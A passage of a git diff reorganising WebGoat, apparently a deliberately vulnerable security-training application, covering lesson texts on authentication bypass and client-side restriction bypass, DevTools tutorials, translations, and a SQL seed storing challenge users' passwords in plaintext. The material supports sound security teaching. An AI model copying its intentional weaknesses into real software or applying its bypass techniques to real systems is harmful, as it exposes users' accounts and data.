+Go!=Allez le faire! diff --git a/webgoat-container/src/main/resources/i18n/messages_nl.properties b/src/main/resources/i18n/messages_nl.properties similarity index 63% rename from webgoat-container/src/main/resources/i18n/messages_nl.properties rename to src/main/resources/i18n/messages_nl.properties index 2370be9d4..2f4dff687 100644 --- a/webgoat-container/src/main/resources/i18n/messages_nl.properties +++ b/src/main/resources/i18n/messages_nl.properties @@ -22,13 +22,16 @@ # projects. #

# -LessonCompleted=Gefeliciteerd, je hebt de les succesvol afgerond. +lesson.completed=Gefeliciteerd, je hebt deze les succesvol afgerond. +assignment.solved=Gefeliciteerd, je hebt deze opdracht succesvol afgerond. +assignment.not.solved=Sorry de oplossing is niet correct, probeer het nog eens. RestartLesson=Herstart de les SolutionVideos=Video oplossingen ErrorGenerating=Fout opgetreden tijdens generatie InvalidData=Ongeldige invoer -Go!=Go! +Go!=Ga snel aan de slag! password=Wachtwoord +password.confirm=Herhaal wachtwoord username=Gebruikersnaam logged_out=Je bent succesvol uitgelogd. invalid_username_password=Ongeldige gebruikersnaam/wachtwoord combinatie @@ -46,4 +49,14 @@ contact=Neem contact met ons op show.hints=Toon hints lesson.overview=Overzicht les reset.lesson=Herstart les -sign.in=Log in \ No newline at end of file +sign.in=Inloggen +terms.agree=Ik ga akkoord met de voorwaarden +sign.up=Registreer +register.title=Aanmelden als nieuwe gebruiker +register.new=of aanmelden als nieuwe gebruiker +termsofuse=Gebruiksvoorwaarden +register.condition.1=Wanneer u WebGoat runt op uw computer, bent u kwetsbaar voor cyber aanvallen. \ + Zorg dat u geen verbinding heeft met internet en dat toegang tot WebGoat alleen lokaal mogelijk is om het aanvalsoppervlak te verkleinen. +register.condition.2=WebGoat is bedoeld als educatieve applicatie op het gebied van secure software development. \ + Gebruik wat u leert om applicaties beter te maken en niet om zonder toestemming applicaties te schaden. \ + In dat laatste geval loopt u risico op rechtsvervoling en ontslag. diff --git a/webgoat-container/src/main/resources/i18n/messages_ru.properties b/src/main/resources/i18n/messages_ru.properties similarity index 86% rename from webgoat-container/src/main/resources/i18n/messages_ru.properties rename to src/main/resources/i18n/messages_ru.properties index 436a81ee5..e24c2b8f4 100644 --- a/webgoat-container/src/main/resources/i18n/messages_ru.properties +++ b/src/main/resources/i18n/messages_ru.properties @@ -24,7 +24,7 @@ # #General -LessonCompleted=\u041f\u043e\u0437\u0434\u0440\u0430\u0432\u043b\u044f\u044e. \u0412\u044b \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u043f\u0440\u043e\u0448\u043b\u0438 \u0434\u0430\u043d\u043d\u044b\u0439 \u0443\u0440\u043e\u043a. +lesson.completed=\u041f\u043e\u0437\u0434\u0440\u0430\u0432\u043b\u044f\u044e. \u0412\u044b \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u043f\u0440\u043e\u0448\u043b\u0438 \u0434\u0430\u043d\u043d\u044b\u0439 \u0443\u0440\u043e\u043a. RestartLesson=\u041d\u0430\u0447\u0430\u043b\u044c \u0441\u043d\u0430\u0447\u0430\u043b\u0430 SolutionVideos=\u0412\u0438\u0434\u0435\u043e \u0441 \u0440\u0435\u0448\u0435\u043d\u0438\u0435\u043c ErrorGenerating=\u041f\u0440\u043e\u0438\u0437\u043e\u0448\u043b\u0430 \u043e\u0448\u0438\u0431\u043a\u0430 diff --git a/src/main/resources/lessons/authbypass/documentation/2fa-bypass.adoc b/src/main/resources/lessons/authbypass/documentation/2fa-bypass.adoc new file mode 100644 index 000000000..f5e0fc5bd --- /dev/null +++ b/src/main/resources/lessons/authbypass/documentation/2fa-bypass.adoc @@ -0,0 +1,15 @@ + +== 2FA Password Reset + +An excellent example of authentication bypass is a recent (2016) example (https://henryhoggard.co.uk/blog/Paypal-2FA-Bypass). He could not receive an SMS with a code, so he opted for +an alternative method, which involved security questions. Using a proxy, removed the parameters entirely and won. + +image::images/paypal-2fa-bypass.png[Paypal 2FA bypass,1397,645,style="lesson-image"] + + +=== The Scenario + +You reset your password, but do it from a location or device that your provider does not recognize. So you need to answer the security questions you set up. The other issue is +Those security questions are also stored on another device (not with you), and you don't remember them. + +You have already provided your username/email and opted for the alternative verification method. diff --git a/src/main/resources/lessons/authbypass/documentation/bypass-intro.adoc b/src/main/resources/lessons/authbypass/documentation/bypass-intro.adoc new file mode 100644 index 000000000..fd5a8b924 --- /dev/null +++ b/src/main/resources/lessons/authbypass/documentation/bypass-intro.adoc @@ -0,0 +1,15 @@ +== Authentication Bypasses + +Authentication Bypasses happen in many ways but usually take advantage of some flaw in the configuration or logic. Tampering to achieve the right conditions. + +=== Hidden inputs + +The simplest form is a reliance on a hidden input in the web page/DOM. + +=== Removing Parameters + +Sometimes, if an attacker doesn't know the correct value of a parameter, they may remove it from the submission altogether to see what happens. + +=== Forced Browsing + +If an area of a site is not appropriately protected by configuration, that area of the site may be accessed by guessing/brute-forcing. diff --git a/webgoat-lessons/auth-bypass/src/main/resources/lessonPlans/en/lesson-template-video.adoc b/src/main/resources/lessons/authbypass/documentation/lesson-template-video.adoc similarity index 82% rename from webgoat-lessons/auth-bypass/src/main/resources/lessonPlans/en/lesson-template-video.adoc rename to src/main/resources/lessons/authbypass/documentation/lesson-template-video.adoc index 83831886f..105527d5a 100644 --- a/webgoat-lessons/auth-bypass/src/main/resources/lessonPlans/en/lesson-template-video.adoc +++ b/src/main/resources/lessons/authbypass/documentation/lesson-template-video.adoc @@ -1,7 +1,7 @@ === More Content, Video too ... -You can structure and format the content however you like. You can even include video if you like (but may be subject to browser support). You may want to make it more pertinent to web application security than this though. +You can structure and format the content however you like. You can even include video if you like (but may be subject to browser support). You may want to make it more pertinent to web application security than this, though. video::video/sample-video.m4v[width=480,start=5] -see http://asciidoctor.org/docs/asciidoc-syntax-quick-reference/#videos for more detail on video syntax \ No newline at end of file +see http://asciidoctor.org/docs/asciidoc-syntax-quick-reference/#videos for more detail on video syntax diff --git a/webgoat-lessons/auth-bypass/src/main/resources/html/AuthBypass.html b/src/main/resources/lessons/authbypass/html/AuthBypass.html similarity index 89% rename from webgoat-lessons/auth-bypass/src/main/resources/html/AuthBypass.html rename to src/main/resources/lessons/authbypass/html/AuthBypass.html index 88a7c908b..914bd2064 100644 --- a/webgoat-lessons/auth-bypass/src/main/resources/html/AuthBypass.html +++ b/src/main/resources/lessons/authbypass/html/AuthBypass.html @@ -4,14 +4,14 @@ -

+
-
+
@@ -23,8 +23,7 @@
+ action="/WebGoat/auth-bypass/verify-account">

Verify Your Account by answering the questions below:

What is the name of your favorite teacher?

@@ -45,7 +44,6 @@ method="POST" name="form" successCallback="onBypassResponse" action="/WebGoat/auth-bypass/verify-account" - enctype="application/json;charset=UTF-8" style="display:none">

Please provide a new password for your account

@@ -74,9 +72,9 @@ - + - + diff --git a/webgoat-lessons/auth-bypass/src/main/resources/i18n/WebGoatLabels.properties b/src/main/resources/lessons/authbypass/i18n/WebGoatLabels.properties similarity index 100% rename from webgoat-lessons/auth-bypass/src/main/resources/i18n/WebGoatLabels.properties rename to src/main/resources/lessons/authbypass/i18n/WebGoatLabels.properties diff --git a/webgoat-lessons/auth-bypass/src/main/resources/images/firefox-proxy-config.png b/src/main/resources/lessons/authbypass/images/firefox-proxy-config.png similarity index 100% rename from webgoat-lessons/auth-bypass/src/main/resources/images/firefox-proxy-config.png rename to src/main/resources/lessons/authbypass/images/firefox-proxy-config.png diff --git a/webgoat-lessons/auth-bypass/src/main/resources/images/paypal-2fa-bypass.png b/src/main/resources/lessons/authbypass/images/paypal-2fa-bypass.png similarity index 100% rename from webgoat-lessons/auth-bypass/src/main/resources/images/paypal-2fa-bypass.png rename to src/main/resources/lessons/authbypass/images/paypal-2fa-bypass.png diff --git a/webgoat-lessons/auth-bypass/src/main/resources/js/bypass.js b/src/main/resources/lessons/authbypass/js/bypass.js similarity index 100% rename from webgoat-lessons/auth-bypass/src/main/resources/js/bypass.js rename to src/main/resources/lessons/authbypass/js/bypass.js diff --git a/src/main/resources/lessons/bypassrestrictions/css/bypass-restrictions.css b/src/main/resources/lessons/bypassrestrictions/css/bypass-restrictions.css new file mode 100644 index 000000000..4572fa24a --- /dev/null +++ b/src/main/resources/lessons/bypassrestrictions/css/bypass-restrictions.css @@ -0,0 +1,5 @@ +.bypass-input-container { + position: relative; + padding: 7px; + margin-top: 7px; +} \ No newline at end of file diff --git a/webgoat-lessons/bypass-restrictions/src/main/resources/lessonPlans/en/BypassRestrictions_FieldRestrictions.adoc b/src/main/resources/lessons/bypassrestrictions/documentation/BypassRestrictions_FieldRestrictions.adoc similarity index 64% rename from webgoat-lessons/bypass-restrictions/src/main/resources/lessonPlans/en/BypassRestrictions_FieldRestrictions.adoc rename to src/main/resources/lessons/bypassrestrictions/documentation/BypassRestrictions_FieldRestrictions.adoc index 4d103d6b3..edc411eda 100755 --- a/webgoat-lessons/bypass-restrictions/src/main/resources/lessonPlans/en/BypassRestrictions_FieldRestrictions.adoc +++ b/src/main/resources/lessons/bypassrestrictions/documentation/BypassRestrictions_FieldRestrictions.adoc @@ -1,6 +1,6 @@ == Field Restrictions -In most browsers, client has complete or almost complete control over HTML part +In most browsers, the client has complete or almost complete control over the HTML part of the webpage. They can alter values or restrictions to fit their preference. === Task -Send a request that bypasses restrictions of all four of these fields +Send a request that bypasses restrictions of all four of these fields. diff --git a/webgoat-lessons/bypass-restrictions/src/main/resources/lessonPlans/en/BypassRestrictions_FrontendValidation.adoc b/src/main/resources/lessons/bypassrestrictions/documentation/BypassRestrictions_FrontendValidation.adoc similarity index 58% rename from webgoat-lessons/bypass-restrictions/src/main/resources/lessonPlans/en/BypassRestrictions_FrontendValidation.adoc rename to src/main/resources/lessons/bypassrestrictions/documentation/BypassRestrictions_FrontendValidation.adoc index 67b4dd857..cf966a179 100644 --- a/webgoat-lessons/bypass-restrictions/src/main/resources/lessonPlans/en/BypassRestrictions_FrontendValidation.adoc +++ b/src/main/resources/lessons/bypassrestrictions/documentation/BypassRestrictions_FrontendValidation.adoc @@ -1,7 +1,7 @@ == Validation -Often, there is some mechanism in place to prevent users from sending altered -field values to server, such as validation before sending. Most of popular browsers +There is often some mechanism in place to prevent users from sending altered +field values to the server, such as validation before sending. Most popular browsers such as Chrome don't allow editing scripts during runtime. We will have to circumvent the validation some other way. diff --git a/src/main/resources/lessons/bypassrestrictions/documentation/BypassRestrictions_Intro.adoc b/src/main/resources/lessons/bypassrestrictions/documentation/BypassRestrictions_Intro.adoc new file mode 100755 index 000000000..201de0cfc --- /dev/null +++ b/src/main/resources/lessons/bypassrestrictions/documentation/BypassRestrictions_Intro.adoc @@ -0,0 +1,10 @@ +== Concept + +Users have a great degree of control over the web application's front-end. +They can alter HTML code, sometimes also scripts. Applications that require a certain input format should also validate on the server-side. + +== Goals + +* The user should have a basic knowledge of HTML +* The user should be able to tamper with a request before sending (with proxy or other tools) +* The user will be able to tamper with field restrictions and bypass client-side validation diff --git a/src/main/resources/lessons/bypassrestrictions/html/BypassRestrictions.html b/src/main/resources/lessons/bypassrestrictions/html/BypassRestrictions.html new file mode 100755 index 000000000..4c506a09f --- /dev/null +++ b/src/main/resources/lessons/bypassrestrictions/html/BypassRestrictions.html @@ -0,0 +1,167 @@ + + + + +
+ + +
+
+ +
+ +
+ +
+
+
+ + +
Select field with two possible value +
+ +
+
+
Radio button with two possible values +
+ Option 1
+ Option 2
+
+
+
Checkbox: value either on or off +
+ Checkbox +
+
+
Input restricted to max 5 characters +
+
+
+
Readonly input field +
+ +
+
+
+ + +
+
+
+
+
+
+ +
+
+
+
+ +
+
+ Field 1: exactly three lowercase characters(^[a-z]{3}$) +
+
+ +
+

+
Field 2: exactly three digits(^[0-9]{3}$)
+
+ +
+

+
Field 3: letters, numbers, and space only(^[a-zA-Z0-9 ]*$)
+
+ +
+

+
Field 4: enumeration of numbers (^(one|two|three|four|five|six|seven|eight|nine)$) +
+
+ +
+

+
Field 5: simple zip code (^\d{5}$)
+
+ +
+

+
Field 6: zip with optional dash four (^\d{5}(-\d{4})?$)
+
+ +
+

+
Field 7: US phone number with or without dashes (^[2-9]\d{2}-?\d{3}-?\d{4}$)
+
+ +
+ +

+ +

+
+ + +
+
+
+
+
+
+ diff --git a/webgoat-lessons/bypass-restrictions/src/main/resources/i18n/WebGoatLabels.properties b/src/main/resources/lessons/bypassrestrictions/i18n/WebGoatLabels.properties similarity index 100% rename from webgoat-lessons/bypass-restrictions/src/main/resources/i18n/WebGoatLabels.properties rename to src/main/resources/lessons/bypassrestrictions/i18n/WebGoatLabels.properties diff --git a/webgoat-lessons/challenge/src/main/resources/challenge7/git.zip b/src/main/resources/lessons/challenges/challenge7/git.zip similarity index 100% rename from webgoat-lessons/challenge/src/main/resources/challenge7/git.zip rename to src/main/resources/lessons/challenges/challenge7/git.zip diff --git a/webgoat-lessons/challenge/src/main/resources/css/challenge6.css b/src/main/resources/lessons/challenges/css/challenge6.css similarity index 100% rename from webgoat-lessons/challenge/src/main/resources/css/challenge6.css rename to src/main/resources/lessons/challenges/css/challenge6.css diff --git a/webgoat-lessons/challenge/src/main/resources/css/challenge8.css b/src/main/resources/lessons/challenges/css/challenge8.css similarity index 100% rename from webgoat-lessons/challenge/src/main/resources/css/challenge8.css rename to src/main/resources/lessons/challenges/css/challenge8.css diff --git a/src/main/resources/lessons/challenges/db/migration/V2018_09_26_1__users.sql b/src/main/resources/lessons/challenges/db/migration/V2018_09_26_1__users.sql new file mode 100644 index 000000000..a04639ac4 --- /dev/null +++ b/src/main/resources/lessons/challenges/db/migration/V2018_09_26_1__users.sql @@ -0,0 +1,11 @@ +--Challenge 5 - Creating tables for users +CREATE TABLE challenge_users( + userid varchar(250), + email varchar(30), + password varchar(30) +); + +INSERT INTO challenge_users VALUES ('larry', 'larry@webgoat.org', 'larryknows'); +INSERT INTO challenge_users VALUES ('tom', 'tom@webgoat.org', 'thisisasecretfortomonly'); +INSERT INTO challenge_users VALUES ('alice', 'alice@webgoat.org', 'rt*(KJ()LP())$#**'); +INSERT INTO challenge_users VALUES ('eve', 'eve@webgoat.org', '**********'); diff --git a/webgoat-lessons/challenge/src/main/resources/lessonPlans/en/Challenge_1.adoc b/src/main/resources/lessons/challenges/documentation/Challenge_1.adoc similarity index 100% rename from webgoat-lessons/challenge/src/main/resources/lessonPlans/en/Challenge_1.adoc rename to src/main/resources/lessons/challenges/documentation/Challenge_1.adoc diff --git a/webgoat-lessons/challenge/src/main/resources/lessonPlans/en/Challenge_5.adoc b/src/main/resources/lessons/challenges/documentation/Challenge_5.adoc similarity index 100% rename from webgoat-lessons/challenge/src/main/resources/lessonPlans/en/Challenge_5.adoc rename to src/main/resources/lessons/challenges/documentation/Challenge_5.adoc diff --git a/webgoat-lessons/challenge/src/main/resources/lessonPlans/en/Challenge_6.adoc b/src/main/resources/lessons/challenges/documentation/Challenge_6.adoc similarity index 100% rename from webgoat-lessons/challenge/src/main/resources/lessonPlans/en/Challenge_6.adoc rename to src/main/resources/lessons/challenges/documentation/Challenge_6.adoc diff --git a/webgoat-lessons/challenge/src/main/resources/lessonPlans/en/Challenge_7.adoc b/src/main/resources/lessons/challenges/documentation/Challenge_7.adoc similarity index 100% rename from webgoat-lessons/challenge/src/main/resources/lessonPlans/en/Challenge_7.adoc rename to src/main/resources/lessons/challenges/documentation/Challenge_7.adoc diff --git a/webgoat-lessons/challenge/src/main/resources/lessonPlans/en/Challenge_8.adoc b/src/main/resources/lessons/challenges/documentation/Challenge_8.adoc similarity index 100% rename from webgoat-lessons/challenge/src/main/resources/lessonPlans/en/Challenge_8.adoc rename to src/main/resources/lessons/challenges/documentation/Challenge_8.adoc diff --git a/webgoat-lessons/challenge/src/main/resources/lessonPlans/en/Challenge_introduction.adoc b/src/main/resources/lessons/challenges/documentation/Challenge_introduction.adoc similarity index 92% rename from webgoat-lessons/challenge/src/main/resources/lessonPlans/en/Challenge_introduction.adoc rename to src/main/resources/lessons/challenges/documentation/Challenge_introduction.adoc index d6037af18..990f386b4 100644 --- a/webgoat-lessons/challenge/src/main/resources/lessonPlans/en/Challenge_introduction.adoc +++ b/src/main/resources/lessons/challenges/documentation/Challenge_introduction.adoc @@ -4,7 +4,7 @@ The challenges contain more a CTF like lessons where we do not provide any explanations what you need to do, no hints will be provided. You can use these challenges in a CTF style where you can run WebGoat on one server and all -participants can join and hack the challenges. A scoreboard is available at http://localhost:8080/WebGoat/scoreboard +participants can join and hack the challenges. A scoreboard is available at link:/WebGoat/scoreboard["/WebGoat/scoreboard",window=_blank] :hardbreaks: In this CTF you will need to solve a couple of challenges, each challenge will give you a flag which you will diff --git a/src/main/resources/lessons/challenges/html/Challenge.html b/src/main/resources/lessons/challenges/html/Challenge.html new file mode 100644 index 000000000..713d902f3 --- /dev/null +++ b/src/main/resources/lessons/challenges/html/Challenge.html @@ -0,0 +1,9 @@ + + + + +
+
+
+ + diff --git a/webgoat-lessons/challenge/src/main/resources/html/Challenge1.html b/src/main/resources/lessons/challenges/html/Challenge1.html similarity index 89% rename from webgoat-lessons/challenge/src/main/resources/html/Challenge1.html rename to src/main/resources/lessons/challenges/html/Challenge1.html index 18c1d47d9..f69942f38 100644 --- a/webgoat-lessons/challenge/src/main/resources/html/Challenge1.html +++ b/src/main/resources/lessons/challenges/html/Challenge1.html @@ -2,6 +2,9 @@ +
+
+
@@ -9,14 +12,13 @@
- +
+ style="width: 200px;">
@@ -58,4 +60,4 @@
- \ No newline at end of file + diff --git a/webgoat-lessons/challenge/src/main/resources/html/Challenge5.html b/src/main/resources/lessons/challenges/html/Challenge5.html similarity index 96% rename from webgoat-lessons/challenge/src/main/resources/html/Challenge5.html rename to src/main/resources/lessons/challenges/html/Challenge5.html index 149313275..9a6f42348 100644 --- a/webgoat-lessons/challenge/src/main/resources/html/Challenge5.html +++ b/src/main/resources/lessons/challenges/html/Challenge5.html @@ -4,7 +4,7 @@
-
+
@@ -25,8 +25,7 @@
+ action="/WebGoat/challenge/5" role="form">
@@ -88,4 +87,4 @@
- \ No newline at end of file + diff --git a/webgoat-lessons/challenge/src/main/resources/html/Challenge6.html b/src/main/resources/lessons/challenges/html/Challenge6.html similarity index 95% rename from webgoat-lessons/challenge/src/main/resources/html/Challenge6.html rename to src/main/resources/lessons/challenges/html/Challenge6.html index f34af864e..1a906c0a6 100644 --- a/webgoat-lessons/challenge/src/main/resources/html/Challenge6.html +++ b/src/main/resources/lessons/challenges/html/Challenge6.html @@ -4,7 +4,7 @@
-
+
@@ -29,8 +29,7 @@
+ action="/WebGoat/challenge/6" role="form">
@@ -65,8 +64,7 @@
- \ No newline at end of file + diff --git a/webgoat-lessons/challenge/src/main/resources/html/Challenge7.html b/src/main/resources/lessons/challenges/html/Challenge7.html similarity index 95% rename from webgoat-lessons/challenge/src/main/resources/html/Challenge7.html rename to src/main/resources/lessons/challenges/html/Challenge7.html index e69601c30..dec4331b1 100644 --- a/webgoat-lessons/challenge/src/main/resources/html/Challenge7.html +++ b/src/main/resources/lessons/challenges/html/Challenge7.html @@ -12,7 +12,7 @@ f94008f801fceb8833a30fe56a8b26976347edcf First version of WebGoat Cloud website
-
+
@@ -28,8 +28,7 @@ f94008f801fceb8833a30fe56a8b26976347edcf First version of WebGoat Cloud website + action="/WebGoat/challenge/7" role="form">
@@ -79,4 +78,4 @@ f94008f801fceb8833a30fe56a8b26976347edcf First version of WebGoat Cloud website
- \ No newline at end of file + diff --git a/webgoat-lessons/challenge/src/main/resources/html/Challenge8.html b/src/main/resources/lessons/challenges/html/Challenge8.html similarity index 99% rename from webgoat-lessons/challenge/src/main/resources/html/Challenge8.html rename to src/main/resources/lessons/challenges/html/Challenge8.html index efaed5c85..989977d2d 100644 --- a/webgoat-lessons/challenge/src/main/resources/html/Challenge8.html +++ b/src/main/resources/lessons/challenges/html/Challenge8.html @@ -3,7 +3,7 @@
-
+
@@ -252,4 +252,4 @@
- \ No newline at end of file + diff --git a/webgoat-lessons/challenge/src/main/resources/i18n/WebGoatLabels.properties b/src/main/resources/lessons/challenges/i18n/WebGoatLabels.properties similarity index 100% rename from webgoat-lessons/challenge/src/main/resources/i18n/WebGoatLabels.properties rename to src/main/resources/lessons/challenges/i18n/WebGoatLabels.properties diff --git a/webgoat-lessons/challenge/src/main/resources/images/avatar1.png b/src/main/resources/lessons/challenges/images/avatar1.png similarity index 100% rename from webgoat-lessons/challenge/src/main/resources/images/avatar1.png rename to src/main/resources/lessons/challenges/images/avatar1.png diff --git a/webgoat-lessons/challenge/src/main/resources/images/boss.jpg b/src/main/resources/lessons/challenges/images/boss.jpg similarity index 100% rename from webgoat-lessons/challenge/src/main/resources/images/boss.jpg rename to src/main/resources/lessons/challenges/images/boss.jpg diff --git a/webgoat-lessons/challenge/src/main/resources/images/challenge1-small.png b/src/main/resources/lessons/challenges/images/challenge1-small.png similarity index 100% rename from webgoat-lessons/challenge/src/main/resources/images/challenge1-small.png rename to src/main/resources/lessons/challenges/images/challenge1-small.png diff --git a/webgoat-lessons/challenge/src/main/resources/images/challenge1.png b/src/main/resources/lessons/challenges/images/challenge1.png similarity index 100% rename from webgoat-lessons/challenge/src/main/resources/images/challenge1.png rename to src/main/resources/lessons/challenges/images/challenge1.png diff --git a/webgoat-lessons/challenge/src/main/resources/images/challenge2-small.png b/src/main/resources/lessons/challenges/images/challenge2-small.png similarity index 100% rename from webgoat-lessons/challenge/src/main/resources/images/challenge2-small.png rename to src/main/resources/lessons/challenges/images/challenge2-small.png diff --git a/webgoat-lessons/challenge/src/main/resources/images/challenge2.png b/src/main/resources/lessons/challenges/images/challenge2.png similarity index 100% rename from webgoat-lessons/challenge/src/main/resources/images/challenge2.png rename to src/main/resources/lessons/challenges/images/challenge2.png diff --git a/webgoat-lessons/challenge/src/main/resources/images/challenge3-small.png b/src/main/resources/lessons/challenges/images/challenge3-small.png similarity index 100% rename from webgoat-lessons/challenge/src/main/resources/images/challenge3-small.png rename to src/main/resources/lessons/challenges/images/challenge3-small.png diff --git a/webgoat-lessons/challenge/src/main/resources/images/challenge3.png b/src/main/resources/lessons/challenges/images/challenge3.png similarity index 100% rename from webgoat-lessons/challenge/src/main/resources/images/challenge3.png rename to src/main/resources/lessons/challenges/images/challenge3.png diff --git a/webgoat-lessons/challenge/src/main/resources/images/challenge4-small.png b/src/main/resources/lessons/challenges/images/challenge4-small.png similarity index 100% rename from webgoat-lessons/challenge/src/main/resources/images/challenge4-small.png rename to src/main/resources/lessons/challenges/images/challenge4-small.png diff --git a/webgoat-lessons/challenge/src/main/resources/images/challenge4.png b/src/main/resources/lessons/challenges/images/challenge4.png similarity index 100% rename from webgoat-lessons/challenge/src/main/resources/images/challenge4.png rename to src/main/resources/lessons/challenges/images/challenge4.png diff --git a/webgoat-lessons/challenge/src/main/resources/images/challenge5-small.png b/src/main/resources/lessons/challenges/images/challenge5-small.png similarity index 100% rename from webgoat-lessons/challenge/src/main/resources/images/challenge5-small.png rename to src/main/resources/lessons/challenges/images/challenge5-small.png diff --git a/webgoat-lessons/challenge/src/main/resources/images/challenge5.png b/src/main/resources/lessons/challenges/images/challenge5.png similarity index 100% rename from webgoat-lessons/challenge/src/main/resources/images/challenge5.png rename to src/main/resources/lessons/challenges/images/challenge5.png diff --git a/webgoat-lessons/challenge/src/main/resources/images/hi-five-cat.jpg b/src/main/resources/lessons/challenges/images/hi-five-cat.jpg similarity index 100% rename from webgoat-lessons/challenge/src/main/resources/images/hi-five-cat.jpg rename to src/main/resources/lessons/challenges/images/hi-five-cat.jpg diff --git a/webgoat-lessons/challenge/src/main/resources/images/user1.png b/src/main/resources/lessons/challenges/images/user1.png similarity index 100% rename from webgoat-lessons/challenge/src/main/resources/images/user1.png rename to src/main/resources/lessons/challenges/images/user1.png diff --git a/webgoat-lessons/challenge/src/main/resources/images/user2.png b/src/main/resources/lessons/challenges/images/user2.png similarity index 100% rename from webgoat-lessons/challenge/src/main/resources/images/user2.png rename to src/main/resources/lessons/challenges/images/user2.png diff --git a/webgoat-lessons/challenge/src/main/resources/images/user3.png b/src/main/resources/lessons/challenges/images/user3.png similarity index 100% rename from webgoat-lessons/challenge/src/main/resources/images/user3.png rename to src/main/resources/lessons/challenges/images/user3.png diff --git a/webgoat-lessons/challenge/src/main/resources/images/webgoat2.png b/src/main/resources/lessons/challenges/images/webgoat2.png similarity index 100% rename from webgoat-lessons/challenge/src/main/resources/images/webgoat2.png rename to src/main/resources/lessons/challenges/images/webgoat2.png diff --git a/webgoat-container/src/main/resources/static/plugins/bootstrap/js/bootstrap.min.js b/src/main/resources/lessons/challenges/js/bootstrap.min.js similarity index 100% rename from webgoat-container/src/main/resources/static/plugins/bootstrap/js/bootstrap.min.js rename to src/main/resources/lessons/challenges/js/bootstrap.min.js diff --git a/webgoat-lessons/challenge/src/main/resources/js/challenge6.js b/src/main/resources/lessons/challenges/js/challenge6.js similarity index 100% rename from webgoat-lessons/challenge/src/main/resources/js/challenge6.js rename to src/main/resources/lessons/challenges/js/challenge6.js diff --git a/webgoat-lessons/challenge/src/main/resources/js/challenge8.js b/src/main/resources/lessons/challenges/js/challenge8.js similarity index 100% rename from webgoat-lessons/challenge/src/main/resources/js/challenge8.js rename to src/main/resources/lessons/challenges/js/challenge8.js diff --git a/src/main/resources/lessons/chromedevtools/documentation/ChromeDevTools_Assignment.adoc b/src/main/resources/lessons/chromedevtools/documentation/ChromeDevTools_Assignment.adoc new file mode 100644 index 000000000..a1d8803e1 --- /dev/null +++ b/src/main/resources/lessons/chromedevtools/documentation/ChromeDevTools_Assignment.adoc @@ -0,0 +1,8 @@ +== Try It! Using the console + +Let us try it. Use the console in the dev tools and call the javascript function *webgoat.customjs.phoneHome()*. + +You should get a response in the console. Your result should look something like this: +`phone home said +{"lessonCompleted:true, ... ,"output":"phone home response is..."` +Paste the random number, after that, in the text field below. +(Make sure you got the most recent number since it is randomly generated each time you call the function) diff --git a/src/main/resources/lessons/chromedevtools/documentation/ChromeDevTools_Assignment_Network.adoc b/src/main/resources/lessons/chromedevtools/documentation/ChromeDevTools_Assignment_Network.adoc new file mode 100644 index 000000000..29e1324c4 --- /dev/null +++ b/src/main/resources/lessons/chromedevtools/documentation/ChromeDevTools_Assignment_Network.adoc @@ -0,0 +1,6 @@ +== Try It! Working with the Network tab + +In this assignment, you need to find a specific HTTP request and read a randomized number. +To start, click the first button. This will generate an HTTP request. Try to find the specific HTTP request. +The request should contain a field: `networkNum:` +Copy the number displayed afterward into the input field below and click on the check button. diff --git a/src/main/resources/lessons/chromedevtools/documentation/ChromeDevTools_console.adoc b/src/main/resources/lessons/chromedevtools/documentation/ChromeDevTools_console.adoc new file mode 100644 index 000000000..0780ef6bb --- /dev/null +++ b/src/main/resources/lessons/chromedevtools/documentation/ChromeDevTools_console.adoc @@ -0,0 +1,17 @@ +== The Console tab + +In the console tab, you can see anything that a loaded JavaScript file may have printed out. +Do not worry if you see something in red. While that is an error, it has probably resolved itself. +Through the console tab, it is also possible for you to run your line of JavaScript code. + +Start by clearing the console using the shortcut `CTRL+L.` + +To run your JavaScript, click inside of the console and write something like: +`console.log("Hello WebGoat!");` Hit enter. `Hello WebGoat` should now appear in your console. +The console also allows you to do some basic arithmetic. If you type, for example, `1+3` and hit +enter, the console should display 4. + +Note: You may see an `undefined` in the console. You can safely ignore this statement, +it only means that the JavaScript function you have called did not return anything, therefore `undefined.` + +image::images/ChromeDev_Console_Ex.jpg[DeveloperToolsConsoleExample,500,500,style="lesson-image"] diff --git a/src/main/resources/lessons/chromedevtools/documentation/ChromeDevTools_elements.adoc b/src/main/resources/lessons/chromedevtools/documentation/ChromeDevTools_elements.adoc new file mode 100644 index 000000000..18477e950 --- /dev/null +++ b/src/main/resources/lessons/chromedevtools/documentation/ChromeDevTools_elements.adoc @@ -0,0 +1,22 @@ +== The Elements Tab + +The elements tab allows you to look at the HTML and CSS code used to define and style the website. + +=== HTML source + +If you hover over one line, you can see that a part of the website turns blue. That means that +this particular HTML line defines this section of the website. +The elements tab allows you to make changes to every single HTML element. For example, if you click inside +a paragraph (

...

) Tag, you can edit the content of the website. If you have made your changes and then click enter +Chrome will update the website to show your edits. You can also change the HTML Tag used, +the classes and id's a tag has, and much more. + +image::images/ChromeDev_Elements.jpg[DeveloperToolsElements,500,350,style="lesson-image"] + +=== CSS source + +You can find information about the CSS used to style the +website under the HTML source. Like the HTML, you can also edit the CSS and, therefore, adjust the website's styling. +You can edit specific values or turn off individual styling. + +image::images/ChromeDev_Elements_CSS.jpg[DeveloperToolsElementsCSS,500,350,style="lesson-image"] diff --git a/src/main/resources/lessons/chromedevtools/documentation/ChromeDevTools_intro.adoc b/src/main/resources/lessons/chromedevtools/documentation/ChromeDevTools_intro.adoc new file mode 100644 index 000000000..2689a0440 --- /dev/null +++ b/src/main/resources/lessons/chromedevtools/documentation/ChromeDevTools_intro.adoc @@ -0,0 +1,19 @@ +== Google Chrome Developer Tools + +To complete certain assignments, you sometimes may have to look at the JavaScript +source code or run a JavaScript command on your own. +To do that, Google Chrome has a set of tools that allow you to do that and much more. +While these tools are not specific to Google Chrome, almost every modern browser has a bunch +of its own. Our introduction will focus on the ones found in Google Chrome. +You can, however still use the browser of your choice, like Firefox or Safari, although some steps of this tutorial +maybe different for you. + +Keep in mind that the following tutorial is not there to teach everything about these tools. +This tutorial will only focus on the essential knowledge to complete specific assignments. +Also, if you are already familiar with these tools, you can safely skip these lessons. + +To get started: *open the developer tools*. There are multiple ways to open them: + +1. Right-click anywhere in the browser window and select the option _"Inspect"_. +2. Go to the browser menu (three dots in the top right corner), then go to _"More tools"_ and select the option _"Developer tools"_. +3. Use the keyboard shortcut _Ctrl + Shift + I_ diff --git a/src/main/resources/lessons/chromedevtools/documentation/ChromeDevTools_sources.adoc 